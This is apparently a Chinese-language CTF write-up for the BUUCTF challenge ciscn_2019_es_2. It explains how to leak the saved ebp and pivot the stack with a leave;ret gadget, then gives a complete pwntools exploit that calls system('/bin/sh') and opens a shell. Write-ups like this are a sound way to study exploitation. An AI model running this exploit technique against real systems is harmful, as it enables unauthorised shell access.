checksec
ida
我们看到在vul函数中,有两个read函数,每个都读取了0x30(48)大小的字符,并放入字符数组s中,也就是说我们能溢出的只有8个字节,刚好覆盖到ebp和返回地址
所以我们需要栈迁移,使我们能溢出更多字节
首先利用第一个read,输入40字节的数据,刚好覆盖到ebp,然后printf就会顺带打印出ebp的值
这里的ebp是主函数的ebp,所以我们动调一下看看主函数的ebp和esp差了多少字节
动调进入vul函数,走完创建栈帧流程,之后查看一下stack,此时的ebp存放的是主函数的ebp在栈中的地址,也就是说我们通过第一个printf泄露出的ebp和现在的esp差了0x38字节
然后我们就可以构建payload了,首先要覆盖ebp的值为esp的值,利用程序中正常的leave_ret,将ebp修改为我们填入的值(之前的栈溢出我们都是直接填'AAAA'的,不过这次我们需要先利用ebp修改esp的值 )
之后的返回地址填一个leave_ret的gadget,将esp修改为我们填入的ebp,之后就不用管ebp的值
然后就可以写exp了
from pwn import *
#p = remote("node5.buuoj.cn",27661)
p = process("./ciscn_2019_es_2")
system_plt = 0x08048400
lev_ret = 0x080485FD
main = 0x080485FF
#gdb.attach(p)
payload1 = b'A'*0x20+b'B'*0x8
p.send(payload1)
p.recvuntil(b'BBBBBBBB')
main_ebp = u32(p.recv(4))
#info(hex(main_ebp))
payload2 = b'AAAA' + p32(system_plt) + p32(main) + p32(main_ebp-0x38+16) + b'/bin/sh' # 这里的b'AAAA'就是第二次leave后ebp的值,此时esp在system_plt这里ret
payload2 = payload2.ljust(0x28,b'\x00')
payload2+= p32(main_ebp-0x38) + p32(lev_ret)
p.send(payload2)
p.interactive()
标签:buuctf,esp,ret,p32,ebp,pwn,2019,main,payload2
From: https://www.cnblogs.com/zzkkk1h/p/18186297